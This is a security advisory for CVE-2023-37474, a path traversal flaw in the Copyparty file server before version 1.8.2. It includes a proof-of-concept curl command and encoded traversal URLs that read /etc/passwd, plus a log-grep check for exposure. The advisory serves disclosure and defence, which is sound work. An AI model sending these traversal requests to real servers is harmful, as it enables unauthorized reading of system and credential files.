Headline
CVE-2023-37474: Path traversal attack affecting all subfolders in http://localhost:3923/.cpr/ subfolder
Copyparty is a portable file server. Versions prior to 1.8.2 are subject to a path traversal vulnerability detected in the .cpr
subfolder. The Path Traversal attack technique allows an attacker access to files, directories, and commands that reside outside the web document root directory. This issue has been addressed in commit 043e3c7d
which has been included in release 1.8.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.
Summary
Path traversal vulnerability detected in .cpr subfolder.
The Path Traversal attack technique allows an attacker access to files, directories, and commands that reside outside the web document root directory.
Tested in Debian Linux.
Details
Steps to reproduce:
1)Install the software python3 -m pip install --user -U copyparty
2)Execute using the default config : copyparty
- Execute the POC curl command
- /etc/passwd file of the remote server is accessible.
PoC
curl -i -s -k -X GET ‘http://172.19.1.2:3923/.cpr/%2Fetc%2Fpasswd’
Additional examples:
http://172.19.4.2:3923/.cpr/a/…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2Fetc%2Fpasswd
http://172.19.4.2:3923/.cpr/deps/…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2Fetc%2Fpasswd
Checking for exposure
if copyparty is running behind a reverse proxy, you can check the access-logs for traces of attacks, by grepping your access-logs for URLs containing both .cpr/ and %
nginx:
sed -r ‘s/" [0-9]+ .*//’ nginx.access.log | grep -E ‘cpr/.*%2F’ | grep -vF data:image/svg
Related news
Copyparty version 1.8.2 suffers from a directory traversal vulnerability.
### Summary Path traversal vulnerability detected in .cpr subfolder. The Path Traversal attack technique allows an attacker access to files, directories, and commands that reside outside the web document root directory. Tested in Debian Linux. ### Details Steps to reproduce: 1)Install the software python3 -m pip install --user -U copyparty 2)Execute using the default config : copyparty 3) Execute the POC curl command 4) /etc/passwd file of the remote server is accessible. ### PoC ```bash curl -i -s -k -X GET 'http://172.19.1.2:3923/.cpr/%2Fetc%2Fpasswd' ``` Additional examples: http://172.19.4.2:3923/.cpr/a/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd http://172.19.4.2:3923/.cpr/deps/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd ### Checking for exposure if copyparty is running behind a reverse proxy, you can check the access-logs for traces of attacks, by grepping your access...